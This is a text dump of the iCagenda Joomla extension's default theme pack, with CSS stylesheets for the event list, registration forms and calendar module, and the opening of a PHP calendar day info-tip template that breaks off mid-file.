.ic-box-date {
	float: right;
}

/* Box Content */
.ic-content {
	float: right;
}


/*
 * Event Details
 */

/* Back button */
.ic-back {
	text-align: right;
}

/* Description */
.ic-detail-desc {
	text-align: right;
}

/* Content Box */
.ic-info-box-content {
	text-align: right;
}

/* File attachment */
.ic-info-box-file {
	float: left;
}

/* List of Participants */
#icagenda .panel h3.pane-toggler a {
	background: #f5f5f5 url(../images/pluslist.png) 1% 50% no-repeat;
}
#icagenda .panel h3.pane-toggler-down a {
	background: #f5f5f5 url(../images/minuslist.png) 1% 50% no-repeat;
}
#icagenda .pane-slider {
	margin-right: -1px;
}
#icagenda .list_table {
	float: right;
}


/*
 * Form
 */

/* Label */
.ic-control-label {
	float: right;
}

/* Radio Buttons */
.btn-group > .btn:first-child,
.radio.btn-group > label:first-of-type {
	border-radius: 4px 0 0 4px !important;
}
.btn-group > .btn:last-child {
	border-radius: 0 4px 4px 0 !important;
}

/* Google Maps */
.icmap-label {
	float: right !important;
	text-align: right !important;
}
.icmap-input {
	text-align: right;
}


/*
 * STYLES for classes not presents in Theme Pack php files, but in iCagenda core php files
 */

/* Header - List of Categories */
#icagenda .cat_header_title {
	float: right;
	margin: 3px 0 -2px 10px;
}
com_icagenda/themes/packs/default/css/default_component_xsmall.css000060400000001347152453734450021554 0ustar00/*
 * COM_ICAGENDA
 * Extra small devices (usually a mobile phone)
 * 0 < SCREEN WIDTH < ('Small Screen Threshold' - 1)
 * Default : 0 < SCREEN WIDTH < 480
 */

/* Share buttons (AddThis) */
#icagenda .share {
	display:none;
}

/* Style Information */
.ic-divCell {
	float: left;
}

/* Style Input field */
.icagenda_form input,
.icagenda_form input[type="file"],
.icagenda_form .input-large,
.icagenda_form .input-xlarge,
.icagenda_form .input-xxlarge,
.icagenda_form .select-large,
.icagenda_form .select-xlarge,
.icagenda_form .select-xxlarge {
	width: 90%;
}
.icagenda_form .input-small {
	width: 90px;
}
.icagenda_form .select-small {
	width: 114px;
}
.icagenda_form .ic-date-input {
	width: auto;
}
.ic-captcha-label {
	display: none;
}
com_icagenda/themes/packs/default/css/default_module-rtl.css000060400000000640152453734450020251 0ustar00/*
 * MOD_ICCALENDAR
 * iCagenda by JoomliC
 * Theme Pack Official
 * Default Theme - module calendar
 *
 * @name		default - RTL
 * @author		Lyr!C (JoomliC)
 * @version 	3.4.0 2014-12-01
 * @since		3.4.0
 */


#ictip {
	text-align: right;
}
#ictip span.bloc {
	float: right;
}
#ictip a.close {
	right: auto;
	left: 15px;
}
#ictip span.img {
	float: right;
}

/* Features */
#ictip .ic-feature-icon {
	float: left;
}
com_icagenda/themes/packs/default/css/default_component_large.css000060400000000221152453734450021334 0ustar00/*
 * COM_ICAGENDA
 * Large devices (usually a desktop computer)
 * SCREEN WIDTH > 'Large Screen Threshold'
 * Default : SCREEN WIDTH > 1201
 */
com_icagenda/themes/packs/default/css/default_component_small.css000060400000000267152453734450021364 0ustar00/*
 * COM_ICAGENDA
 * Small devices (usually a tablet computer)
 * 'Small Screen Threshold' < SCREEN WIDTH < ('Medium Screen Threshold' - 1)
 * Default : 481 < SCREEN WIDTH < 768
 */
com_icagenda/themes/packs/default/css/default_component_medium.css000060400000000271152453734450021527 0ustar00/*
 * COM_ICAGENDA
 * Medium devices (usually a laptop computer)
 * 'Medium Screen Threshold' < SCREEN WIDTH < ('Large Screen Threshold' - 1)
 * Default : 769 < SCREEN WIDTH < 1200
 */
com_icagenda/themes/packs/default/css/default_module_medium.css000060400000000273152453734450021014 0ustar00/*
 * MOD_ICCALENDAR
 * Medium devices (usually a laptop computer)
 * 'Medium Screen Threshold' < SCREEN WIDTH < ('Large Screen Threshold' - 1)
 * Default : 769 < SCREEN WIDTH < 1200
 */
com_icagenda/themes/packs/default/css/default_module_large.css000060400000000223152453734450020621 0ustar00/*
 * MOD_ICCALENDAR
 * Large devices (usually a desktop computer)
 * SCREEN WIDTH > 'Large Screen Threshold'
 * Default : SCREEN WIDTH > 1201
 */
com_icagenda/themes/packs/default/css/default_module_small.css000060400000000271152453734450020642 0ustar00/*
 * MOD_ICCALENDAR
 * Small devices (usually a tablet computer)
 * 'Small Screen Threshold' < SCREEN WIDTH < ('Medium Screen Threshold' - 1)
 * Default : 481 < SCREEN WIDTH < 768
 */
com_icagenda/themes/packs/default/css/default_component.css000060400000033415152453734450020175 0ustar00/*
 * COM_ICAGENDA
 * iCagenda by JoomliC
 * Theme Pack Official
 * Default Theme - component
 *
 * @name		default
 * @author		Lyr!C (JoomliC)
 * @version 	3.5.10 2015-08-26
 * @since		1.0
 */


/*
 * GENERAL STYLES (list and event details)
 */

/* General */
#icagenda {
	display: block;
	width: auto;
	margin: 0px;
	padding:0px
}

/* Align styles */
.ic-align-left {
	text-align: left;
}
.ic-align-right {
	text-align: right;
}
.ic-align-center {
	text-align: center;
}

/* Float styles */
.ic-float-left {
	float: left;
}
.ic-float-right {
	float: right;
}
.ic-float-none {
	float: none;
}

/* Clear Float div */
.ic-clearfix {
	*zoom: 1;
}
.ic-clearfix:before,
.ic-clearfix:after {
	display: table;
	content: "";
	line-height: 0;
}
.ic-clearfix:after {
	clear: both;
}

/* Style iC Alert */
.ic-alert-info {}
.ic-alert-error {}

/* Feature Icons */
.ic-content > .ic-features-container {
	margin-right: -5px;
	margin-top: 5px;
}
.ic-feature-icon {
	float: right;
}


/*
 * LIST PAGE CSS (CONTENT)
 */

/* Style Background alternative */
.ic-event {
	background: none;
	background: rgba(221,221,221,0.1);
	border-radius: 6px;
	/*
	-webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,0.025);
	-moz-box-shadow: inset 0 1px 1px rgba(0,0,0,0.025);
	box-shadow: inset 0 1px 1px rgba(0,0,0,0.025);
	*/
	margin: 5px 0;
	padding: 0px;
}
.ic-event:nth-child(2n+1) {
	background: none;
	background: rgba(221,221,221,0.3);
}

/* Style Category */
.ic-cat {
	margin-top: 0px;
	font-weight: bold;
	text-transform: uppercase;
	font-size:11px;
}

/* Style Left (Container Box Date) */
.ic-box {
	display: block;
	min-height: 96px;
	border: 0px;
}

/* Font color if bright background for date box */
#icagenda .fontColor {color: #666 !important;}

/* Style Box Date */
.ic-box-date {
	display: block;
	text-transform: capitalize;
	width: 60px;
	height: 60px;
	padding: 10px;
	color: #fff;
	margin: 8px 28px 2px 8px;
	border-radius: 6px;
	/* css3 box-sizing added to prevent conflict */
	box-sizing: content-box;
}

/* Current period */
.ic-current-period {
	text-decoration: overline;
}

.ic-date {
	line-height: 0px !important;
	font-size: 30px;
}
.ic-day {
	line-height: 30px !important;
	font-size: 30px;
	font-weight: bold;
}
.ic-month {
	line-height: 16px !important;
	font-size: 16px;
	letter-spacing: 0px;
	margin-left: 1px;
	font-weight: normal;
}
.ic-year {
	line-height: 11px !important;
	font-size: 11px;
	letter-spacing: 2px;
	margin-left: 2px;
	font-weight: bold;
}
.ic-time {
	line-height: 10px !important;
	font-size: 10px;
	letter-spacing: 2px;
	margin-left: 2px;
	font-weight: bold;
}

/* Style Right (Container Title, Cat, Desc...) */
.ic-content {
	display: block;
	border: 0px;
	margin: 0px;
	padding: 8px;
	vertical-align: top;
}
.ic-content h2 {
	font-size: 24px;
	line-height: 24px;
	margin: 3px 0px 3px 0px;
	padding: 0;
}
.ic-place {
	font-weight: normal;
	font-size: 11px;
	line-height: 15px;
}
.ic-descshort {}




/*
 * EVENT PAGE CSS
 */

/* Style full-width div containing Sharing and Register Button */
.ic-event-buttons {
	display: block;
	width: 100%;
	margin-bottom: 10px;
}

/* Style Event General */
.ic-info {
	padding: 1%;
	background: none; /* old versions of IE */
	background: rgba(221,221,221,0.3);
	border: 0px solid #ccc;
	margin-bottom: 10px;
	border-radius: 6px;
}
.ic-info .ic-details {
	padding: 1%;
}

/* Style Image */
.ic-image img {
	max-width: 100%;
	max-height: 400px;
	border: 0px solid #ccc;
	margin-bottom: 10px;
}

/* Style Table-style List */
.ic-divTable {
	display: table;
	width: auto;
	border-spacing: 5px;
	/* border-collapse: separate; */
}
.ic-divRow {
	display: table-row;
}
.ic-divCell {
/*	float: left; */ /* fix for buggy browsers */
	padding: 1px 5px;
}
.ic-label {
	display: table-cell;
	min-width: 110px;
	font-weight: bold;
}
.ic-value {
	display: table-cell;
	width: auto;
}

/* Style Description */
.ic-short-description {
	font-weight: bold;
}
.ic-full-description {
}

/* Style Google Maps */
#ic-detail-map {}
#ic-detail-map .icagenda_map {
	margin: auto;
	border: 0px solid #ccc;
	text-shadow: none;
	border-radius: 0px;
	box-shadow:none;
}

/* Style All Dates */
#ic-list-of-dates {}
.ic-dates-list {}
.ic-all-dates ul {
	padding-left: 1%;
}
.ic-all-dates li {
	background-image: none
}
.ic-all-dates h3 {
	display: block;
	font-size: 18px;
	margin-top: 10px;
	font-weight: bold;
}

/* Style List of Participants */
#ic-list-of-participants {}
.ic-dates-list {}
.ic-participants h3 {
	display: block;
	font-size: 18px;
	margin-top: 10px;
	font-weight: bold;
}

/* Slider */
#icagenda .icpanel {
}
.ic-participants .panel {
	border: none !important;
}
.ic-participants .panel h3 {
	border: none !important;
}
.ic-participants {
	padding: 5px;
	background: #f5f5f5;
	background: rgba(221,221,221,0.3);
}
.ic-participants h3 a {
	display: block;
	text-decoration: none;
	padding: 0 1%;
	color: #444;
	width: 98%;
}
.ic-participants .panel h3.pane-toggler a {
	background: url(../images/pluslist.png) 99% 50% no-repeat;
}
.ic-participants .panel h3.pane-toggler-down a {
	background: url(../images/minuslist.png) 99% 50% no-repeat;
}
#icagenda .pane-slider .ic-content {
}
#icagenda .pane-slider {
	overflow: unset;
}

/* Slider Full list of Participants */
#icagenda .list_table {
	background:#cccccc;
	background:rgba(204,204,204,0.5);
	border-radius:3px 3px 3px 3px;
	float:left;
}
#icagenda .imgbox {
	width:40px;
}
#icagenda .imgbox img {
	border-radius:3px 3px 3px 3px;
	margin:2px 0;
}
#icagenda .list_name {
	font-weight:bold;
}
#icagenda .list_places {
	font-size:smaller;
}
#icagenda .list_date {
	font-size:smaller;
}


/*
 * FORMS - COMMON STYLES
 */

/* Style Form (general) */
.icagenda_form {}
.icagenda_form h3 {
	color: #333;
	font-weight: bold;
	font-size: 14px;
	margin: 15px 0 10px 0px;
}
.icagenda_form .fieldset {
	border-radius: 2px;
	margin: 10px 0;
	background: #f3f3f3;
	padding: 10px;
}
.icagenda_form legend {
	font-weight: bold;
}

/* Style Label */
.icagenda_form label {
	color: #333;
	display: block;
	width: 130px;
	float: left;
	margin: 0px 3px;
}

/* Style Input field */
.icagenda_form input {
	background-color: #fff;
	border: 1px solid #ccc;
	box-shadow: 0px 1px 1px rgba(0, 0, 0, 0.075) inset;
	transition: border 0.2s linear 0s, box-shadow 0.2s linear 0s;
	border-radius: 3px;
	padding: 3px;
	width: auto;
}
.icagenda_form input[type="file"] {
	width: 270px;
}
.icagenda_form .input-small {
	width: 90px;
}
.icagenda_form .select-small {
	width: 104px;
}
.icagenda_form .input-large {
	width: 210px;
}
.icagenda_form .select-large {
	width: 224px;
}
.icagenda_form .input-xlarge {
	width: 270px;
}
.icagenda_form .select-xlarge {
	width: 284px;
}
.icagenda_form .input-xxlarge {
	width: 330px;
}
.icagenda_form .select-xxlarge {
	width: 344px;
}
.icagenda_form .ic-date-input {
	width: auto;
}

/* Style Form Invalid */
.icagenda_form label.invalid {
	color: red;
	font-weight: bold;
}
.icagenda_form input.invalid,
.icagenda_form select.invalid {
	border: 2px solid red;
	color: red;
	font-weight: bold;
}

/* Style button left (joomla 2.5) */
.icagenda_form .button2-left {
	margin: 3px 3px 3px 0px;
	float: left;
}

/* Style Terms of Service */
.icagenda_form .ic-tos-content {
	background: #c0c0c0;
	color: #fff;
	margin-top: 25px;
	padding: 5px;
	border: none;
	border-radius: 2px;
	text-align: center;
}
.icagenda_form .ic-tos-text {
	padding: 25px;
	background: #fff;
	color: #333;
	text-align: left
}
.icagenda_form .ic-tos-agree {
	color: #fff;
	font-weight: bold;
}

/* Style Button Submit */
.icagenda_form .button {
	font-family: arial;
	font-size: 12px;
	background: #555;
	color: #fff;
	padding: 5px;
	border: none;
	border-radius: 6px;
	text-align: center;
}
.icagenda_form .button:hover {
	background: #c72031;
	color: #fff;
}
.icagenda_form .ic-loader {
	display: block;
	width: 100%;
	height: 60px;
	background: url(../../../../../../media/com_icagenda/images/loader.gif) 50% 50% no-repeat;
}

/* Style Button Cancel */
.icagenda_form .buttonx a {
	font-family: arial;
	font-size: 12px;
	background: none !important;
	text-decoration: none;
	color: #555;
	padding: 0;
	border: none;
	border-radius: 6px;
	text-align: center;
}
.icagenda_form .buttonx a:hover {
	background: none !important;
	text-decoration: none;
	color: #c72031 !important;
}



/*
 * SUBMIT AN EVENT FORM
 */

/* Short Description textarea */
.ic-submit-shortdesc,
.ic-submit-metadesc {
	width: 100%;
	box-sizing: border-box;
}


/*
 * REGISTRATION
 */

/* Style Title Registration */
.ic-form-title h2 {}

/* Style fields required info */
.ic-required-info {
	font-size: 0.95em;
}

/* Style Header*/
.ic-reg-event {
	background: none;
	background: rgba(221,221,221,0.3);
	border-radius: 2px;
	margin: 5px 0;
	padding: 0px;
}

/* Registration icon */
.ic-reg-icon {
	background: url(../../../../../../media/com_icagenda/images/registration-48.png) 50% 50% no-repeat;
	display: block;
	width: 48px;
	height: 48px;
	padding: 8px;
	margin-right: 8px;
}

/* Style Right (Container Event title, category) */
.ic-reg-content {
	display: block;
	border: 0;
	margin: 0;
	padding: 8px;
	vertical-align: top;
}

/* Category */
.ic-reg-cat {
	color: #555555;
	font-size: 12px;
	line-height: 20px;
	font-weight: bold;
	text-transform: uppercase;
}

/* Event title */
.ic-reg-event-title {
	font-size: 22px;
	line-height: 28px;
	font-weight: bold;
}

/* Style Registration infos */
.ic-reg-info {
	font-size:0.8em;
}

/* Google Maps */
.icmap-label {
	float: left;
	width: 140px;
	padding-top: 5px;
	padding-right: 5px;
	text-align: left;
}
.icmap-field {
	margin: 5px;
}
.form-validate .icmap-field input,
.icagenda_form .icmap-field input {
	background-color: #eee;
/*	width: auto; */
	color: #777;
}


/*
 * STYLES for classes not presents in Theme Pack php files, but in iCagenda core php files
 */

/* Style Navigation (list of events) */
#icagenda .navigator {margin: 7px 0;}
#icagenda .navigator a {text-decoration:none;}
#icagenda .navigator a:link, #icagenda .navigator a:visited {}
#icagenda .navigator a:hover, #icagenda .navigator a:active, #icagenda .navigator a:focus {cursor:pointer;}
#icagenda .icagenda_back {float:left; margin-left:20px;}
#icagenda .icagenda_next {float: right; margin-right:20px;}
#icagenda .navigator button {border:0; padding:5px; color:#fff; background:#f3f3f3; margin-right:5px;}

/* Header - List of Categories */
.ic-header-categories {
	display: block;
	width: 100%;
	margin-bottom: 20px;
}
#icagenda .cat_header_title {
	display: block;
	padding: 1px 7px;
	font-size: 1em;
	text-align: center;
	color: #fff;
	font-weight: normal;
	float: left;
	margin: 3px 10px -2px 0;
	border-radius: 4px;
	text-shadow: 0 -1px 0 rgba(0,0,0,0.15);
	background: #dddddd;
	background-size: cover;
}
#icagenda .cat_header_desc {
	display: block;
	padding: 3px 7px;
	margin: 2px 0;
}

/* Share buttons (AddThis) */
.ic-share {
	display: block;
	background: none;
	padding: 5px 10px 5px 0;
	text-shadow: none;
}
.ic-share a:link,
.ic-share a:visited {
/*	background: none; */
	text-decoration: none;
}
.ic-share a:hover,
.ic-share a:active,
.ic-share a:focus {
/*	background: none; */
}

/* Style Registration button */
.ic-registration-box {
	float: none;
	margin: 3px 0;
}
.ic-registration-box a {
	text-decoration: none;
	float: none;
}

/* Text Register Button */
.ic-event-register {
	display: inline-block;
	margin: 2px 3px 0 0;
	line-height: 16px;
}

/* Text Event Full Button */
.ic-event-full {
	display: inline-block;
	margin: 2px 3px 0 0;
	line-height: 16px;
}

/* Text Event Finished Button */
.ic-event-finished {
	display: inline-block;
	margin: 2px 3px 0 0;
	line-height: 16px;
}

/* Image Button (removed in 3.3.7) */
#icagenda .regis_imgbutton {display:inline-block; margin:0 3px; height:16px; line-height:16px; width:16px;  background: url('../../../../../../media/com_icagenda/images/btn-regis.png') no-repeat}
#icagenda .regis_imgbutton:hover {text-decoration:none; color:#111111; cursor: pointer;}

/* icon people (nb of registered users) (added in 3.3.7) */
.ic-people {
	color: #999;
}

/* Nb of registered people (in bubble) */
.ic-registered {
	display: inline-block;
	color: #333333;
	text-align: center;
	background: url('../images/regis-baloon.png');
	height: 16px;
	line-height: 16px;
	width: 36px;
	font-size: 11px;
	font-weight: bold;
}

/* Style Time (in date) */
#icagenda .evttime {
	font-size: 0.8em;
}
.ic-next-today {
	font-weight: bold;
}
.ic-period-starttime,
.ic-period-endtime,
.ic-single-starttime,
.ic-single-endtime,
.ic-datetime-separator {
	font-size: 0.8em;
}

/* Style File Download link */
#icagenda .icDownload {}


/*
 * STYLES for classes not presents in Theme Pack php files, but in iCagenda core php files
 */

/* Style iCagenda Header - List of Events */
.ic-header-container {
}
.ic-header-title {
}
.ic-header-subtitle {
	font-size: 0.85em;
}
.ic-subtitle-string {
}
.ic-subtitle-pages {
}

/* Style Back Button (event details) */
.ic-back {
	display: block;
	width: 100%;
	text-align: left;
	font-size: 10px;
	font-weight: normal;
	text-decoration: none;
	letter-spacing: 1px;
}
.ic-back a:link,
.ic-back a:visited {
	text-decoration:none;
}
.ic-back a:hover,
.ic-back a:active,
.ic-back a:focus {
	text-decoration:none;
}

/* Buttons (print, Add to Cal, ...) */
.ic-buttons {
	display: block;
	float: right;
}
.ic-icon {
	display: inline-block;
	margin-left: 7px;
}
.ic-printpopup-btn {
	display: block;
	text-align: center;
	margin: 15px 0;
}
div.ic-tip-title {
	text-align: center;
	font-weight: bold;
	margin-bottom: 3px;
}
div.ic-tip-link {
	display: block;
	text-align: left;
	margin-bottom: 3px;
}
div.ic-tip-link a {
	color: #D4D4D4;
	text-decoration: none;
}
div.ic-tip-link a:hover {
	color: #FFFFFF;
}
div.ic-tip-link img {
	margin-right: 5px;
}

/* Columns List of Participants (Full) */
#icagenda .total {width:99%; min-width:180px; margin:0.5%;}
#icagenda .demi {width:49%; min-width:180px; margin:0.5%;}
#icagenda .tiers {width:32.3%; min-width:180px; margin:0.5%;}
#icagenda .quart {width:24%; min-width:150px; margin:0.5%;}

.names_noslide {text-align:justify;}
.names_slide {padding:6px !important; text-align:justify;}
com_icagenda/themes/packs/default/css/default_module.css000060400000023063152453734450017456 0ustar00/*
 * MOD_ICCALENDAR
 * iCagenda by JoomliC
 * Theme Pack Official
 * Default Theme - module calendar
 *
 * @name		default
 * @author		Lyr!C (JoomliC)
 * @version 	3.5.7 2015-07-14
 * @since		1.0
 */


/* Clear Float div */
.ic-clearfix {
	*zoom: 1;
}
.ic-clearfix:before,
.ic-clearfix:after {
	display: table;
	content: "";
	line-height: 0;
}
.ic-clearfix:after {
	clear: both;
}

/*
 * CALENDAR STYLES
 */

/* General Calendar */
.iccalendar {
	display: block;
	margin: auto !important;
	padding: 3px !important;
}
.iccalendar div {
	padding: 0px !important;
	margin: 0px !important;
	border: 0px;
	text-align: center;
}

/* General Table */
.iccalendar table {
	padding: 1% !important;
	margin: 0px !important;
	border:0px;
}
.iccalendar table th {
	font-size: 10px;
	font-weight: 500;
	padding: 0px !important;
	margin: 0px !important;
	text-align: center;
	border: 0px;
}
.iccalendar table tr {
	padding: 0px !important;
	margin: 0px !important;
	border: 0px;
}


/*
 * DAYS STYLES
 */

/* General */
.iccalendar table td {
	padding: 3px !important;
	margin: 0px !important;
	border: 0px;
}
.iccalendar table td div {
	text-align: center;
	font-size: 10px;
	border-radius: 3px;
	line-height: 20px;
	border: 0px solid #DDDDDD;
	width: auto !important;
}

/* Styles for days (today or else) */
.iccalendar table td div.style_Today {
	border: 1px solid #777;
	line-height: 18px;
	font-size: 12px;
	font-weight: bold;
	text-shadow: 0px 0px 10px #777;
	box-shadow: 0px 0px 5px #999;
}
.iccalendar table td div.style_Day {
	border: none;
}

/* In case of no event */
.iccalendar .no-event {
}

/* In case of event */
.iccalendar table td .icevent a {
	display: block;
	text-align: center;
	height: 100%;
	color: #fff;
	text-decoration: none;
}
.iccalendar table td .icevent a:hover,
.iccalendar table td .icevent a:focus {
	border-radius: 3px;
	background: #333;
}

/* Dark background */
.ic-dark {
	color: #fff !important;
}
/* Bright background */
.ic-bright {
	color: #111 !important;
}
.iccalendar table td .icevent a .ic-bright {
	display: block;
	text-align: center;
	height: 100%;
	color: #111 !important;
	text-decoration: none;
}
.iccalendar table td .icevent a:hover .ic-bright,
.iccalendar table td .icevent a:focus .ic-bright {
	border-radius: 3px;
	color: #fff !important;
	background: #333;
}

/* In case of multi-event day */
.iccalendar table td .icmulti a {
	background: url(../images/plus.png) top right no-repeat;
	display: block;
	text-align: center;
	height: 100%;
	color: #fff !important;
	text-decoration: none;
	border-radius: 3px;
}
.iccalendar table td .icmulti a:hover,
.iccalendar table td .icevent a:focus {
	background: #333;
}

/* In case of multi-event day (bright background) */
.iccalendar table td .icmulti a .bright {
	background: url(../images/plus.png) top right no-repeat;
	display: block;
	text-align: center;
	height: 100%;
	color: #111 !important;
	text-decoration: none;
	border-radius: 3px;
}
.iccalendar table td .icmulti a:hover .bright,
.iccalendar table td .icevent a:focus .bright {
	color: #fff !important;
	background: #333;
}

/* Loading... */
.icloading_box {
	display: block;
	height: 172px;
	font-size: 10px;
}
.icloading_img {
	display: block;
	width: 100%;
	height: 172px;
	background: url(../images/ic_load.gif) 50% 50% no-repeat
}


/*
 * SCRIPT FUNCTION (Dates with event)
 */

/* General */
.icevent,
.icmulti {}

/* Text (Don't modify it!) */
.icevent .spanEv,
.icmulti .spanEv {
	display: none !important;
}

/* Date (Don't modify it!) */
.icevent .date,
.icmulti .date {
	display: none !important;
}

/* Link */
.icevent a,
.icmulti a {
	cursor: pointer;
}


/*
 * NAVIGATOR
 */

/* Arrows General */
.icagendabtn {
	font-family: arial;
}

/* Navigator General */
.icnav {
	font-size: 10px;
	padding: 0px !important;
	margin: 0px !important;
	min-height: 24px;
}

/* Arrows General */
.icnav .backicY,
.icnav .backic,
.icnav .nextic,
.icnav .nexticY {
	display: block;
	text-decoration: none;
	color: #555555;
}
.icnav .backicY {
	letter-spacing: -3px;
	margin-right: 2px !important;
}
.icnav .backic {
	letter-spacing: 0px;
	margin-right: 2px !important;
	margin-left: 3px !important;
}
.icnav .nextic {
	letter-spacing: 0px;
	margin-left: 2px !important;
}
.icnav .nexticY {
	letter-spacing: -3px;
	margin-right: 2px !important;
	margin-left: 2px !important;
}

/* Arrows Back Month and Year (Left) */
.icnav .backic,
.icnav .backicY {
	float: left !important;
}

/* Arrows Next Month and Year (Right) */
.icnav .nextic,
.icnav .nexticY {
	float: right !important;
}

/* Arrows Back and Next - Month */
.icnav .backic,
.icnav .nextic {
	background: none;
	font-size: 12px;
	width: auto !important;
	cursor: pointer;
}

/* Arrows Back and Next - Year */
.icnav .backicY,
.icnav .nexticY {
	background: none;
	font-size: 12px;
	width: auto !important;
	cursor: pointer;
}

/* Arrows Over */
.icnav .backic:hover,
.icnav .nextic:hover,
.icnav .backicY:hover,
.icnav .nexticY:hover {
	background: none;
	color: #333333;
	cursor: pointer;
}

/* Navigator Title (month and year) */
.icnav .titleic {
	font-size: 12px;
	text-align: center;
	width: auto !important;
}


/*
 * INFO TIP
 */

/* General */
#ictip {
	font-family: arial;
	text-align: left;
	background: #ffffff;
	background: rgba(255,255,255,1);
	border: 1px solid #ccc;
	padding: 15px;
	width: auto;
	min-width: 350px;
	border-radius: 7px;
	z-index: 10000;
	max-height: 100%;
	overflow-y: auto;
}
#ictip .ictip-event {
	display: block;
	float: left;
	width: 100%;
	padding: 15px 0;
	border-top: 1px solid #eee;
}
#ictip span {
	margin: 10px;
	font-size: 0.8em;
}
#ictip a {
	display: block;
	font-size: 1.2em;
	text-decoration: none;
	background: none;
}

/* Date Header */
#ictip .ictip-date {
}
#ictip span.ictip-date-lbl {
	font-variant: small-caps;
}
#ictip span.ictip-date-format {
	font-size: 1em;
}

/* Close "X" */
#ictip a.close {
	position: absolute;
	display: block;
	width: auto;
	top: 15px;
	right: 15px;
	color: red;
	text-decoration: none !important;
}
#ictip a.close:hover {
	background: none !important;
	color: black;
	cursor: pointer;
}

/* Event Div */
#ictip div.linkTo {
	color: #333;
	background: none;
	text-decoration: none;
	transition: all 0.5s;
	-moz-transition: all 0.5s;
	-webkit-transition: all 0.5s;
	-o-transition: all 0.5s;
}
#ictip div.linkTo:hover {
	color: #111;
	background: rgba(0,0,0,0.1);
	border-radius: 5px;
}

/* Contener of the image */
#ictip span.img {
	display: block;
	width: 100px;
	float: left;
	text-align: center;
	padding: 3px;
	border-radius: 3px;
	box-sizing: content-box;
}

/* Image Thumb */
#ictip span.img img {
	width: 100px;
	border: 0px solid #ccc;
	border-radius: 3px;
	opacity: 1 !important; /* Added due to override of some site templates (Shape5 vertex, ...) */
}

/* no-image */
#ictip div.noimg {
	color: #FFFFFF;
	font-size: 10px;
	text-align: center;
	padding: 3px;
}
#ictip .bright {
	color: #111111 !important;
}

/* Event Title */
#ictip .ictip-event-title {
	display: block;
	min-width: 200px;
	font-weight: bold;
	padding: 8px 5px 3px 5px;
}

/* Event Info */
#ictip .ictip-info {
	display: block;
	min-width: 200px;
	font-size: 12px;
	padding: 0 8px 2px 8px;
}
#ictip .ictip-time {
	font-size: 14px;
	padding: 0 8px;
}
#ictip .ictip-location {
	font-size: 12px;
	padding: 0 8px 3px 8px;
}
#ictip .ictip-desc {
	font-size: 12px;
	color: #555;
	line-height: 14px;
}

/* Contener of the description */
#ictip span.bloc {
	display: block;
	width: 300px;
	float: left;
	margin: 3px;
}

/* Registration Infos */
#ictip div.regButtons {
	text-align: center;
	padding: 5px 1px;
}
#ictip span.iCreg {
	display: inline-block;
	font-size: 11px;
	margin: 0 3px;
	padding: 1px 5px;
	text-align: center;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	-o-border-radius: 5px;
	border-radius: 5px;
	box-shadow: 0px 0px 1px #333;
/*	cursor: pointer; */
}
#ictip span.iCreg.available,
#ictip span.iCreg.closed {
	color: black;
	background: white;
}
#ictip span.iCreg.ticketsleft {
	color: #fff;
	text-shadow: 0 -1px 0 rgba(0,0,0,0.25);
	background-color: #5bb75b;
	background-image: -moz-linear-gradient(top,#62c462,#51a351);
	background-image: -webkit-gradient(linear,0 0,0 100%,from(#62c462),to(#51a351));
	background-image: -webkit-linear-gradient(top,#62c462,#51a351);
	background-image: -o-linear-gradient(top,#62c462,#51a351);
	background-image: linear-gradient(to bottom,#62c462,#51a351);
	background-repeat: repeat-x;
	filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff62c462', endColorstr='#ff51a351', GradientType=0);
	border-color: #51a351 #51a351 #387038;
	*background-color: #51a351;
	filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
}
#ictip span.iCreg.registered {
	color: #fff;
	text-shadow: 0 -1px 0 rgba(0,0,0,0.25);
	background-color: #1d6cb0;
	background-image: -moz-linear-gradient(top,#2384d3,#15497c);
	background-image: -webkit-gradient(linear,0 0,0 100%,from(#2384d3),to(#15497c));
	background-image: -webkit-linear-gradient(top,#2384d3,#15497c);
	background-image: -o-linear-gradient(top,#2384d3,#15497c);
	background-image: linear-gradient(to bottom,#2384d3,#15497c);
	background-repeat: repeat-x;
	filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff2384d3', endColorstr='#ff15497c', GradientType=0);
	border-color: #15497c #15497c #0a223b;
	border-color: rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);
	*background-color: #15497c;
	filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
}

/* End function clear <div> */
#ictip .clr {
	clear: both;
	display: block;
}

/* Features */
#ictip .ic-features-container {
	margin: 2px 8px 2px 2px;
}
#ictip .ic-feature-icon {
	float: right;
	margin: 0px 0.5px;
}

/* Messages Info */
.ic-msg-no-event {
	font-size: 0.8em;
	text-align: center;
}
com_icagenda/themes/packs/default/default_day.php000060400000012735152453734450016161 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @themepack	default
 * @template	calendar info-tip
 * @version 	3.5.6 2015-06-08
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die(); ?>

<!-- Day info-tip -->

<?php // Day with event ?>
<?php if ($stamp->events) : ?>

	<?php // Main Background of a day ?>

	<div class="icevent <?php echo $multi_events; ?>" style="background:<?php echo $bg_day; ?> !important; z-index:1000;">

		<?php // Color of date text depending of the category color ?>
		<a>
		<div class="<?php echo $stamp->ifToday; ?> <?php echo $bgcolor; ?>" data-cal-date="<?php echo $stamp->this_day; ?>">
			<?php echo $stamp->Days; ?>
		</div>
		</a>

		<?php // Start of the Tip ?>
		<div class="spanEv">

			<?php foreach($events as $e) : ?>

				<div class="ictip-event">
					<?php echo '<a href="' . $e['url'] . '" rel="nofollow">'; ?>

					<div class="linkTo">

						<?php // Show image if exist ?>
						<div class="ictip-img">
						<?php
						echo '<span style="background: ' . $e['cat_color'] . ';" class="img">';

						if ($e['image'])
						{
							echo '<img src="' . $e['image'] . '" alt="" />';
						}
						else
						{
							echo '<span class="noimg ' . $bgcolor . '">' . $e['no_image'] . '</span>';
						}

						echo '</span>';
						?>
						</div>

						<?php // Display Title (with link to event) and other infos if set (city, country) ?>
						<div class="ictip-event-title titletip">
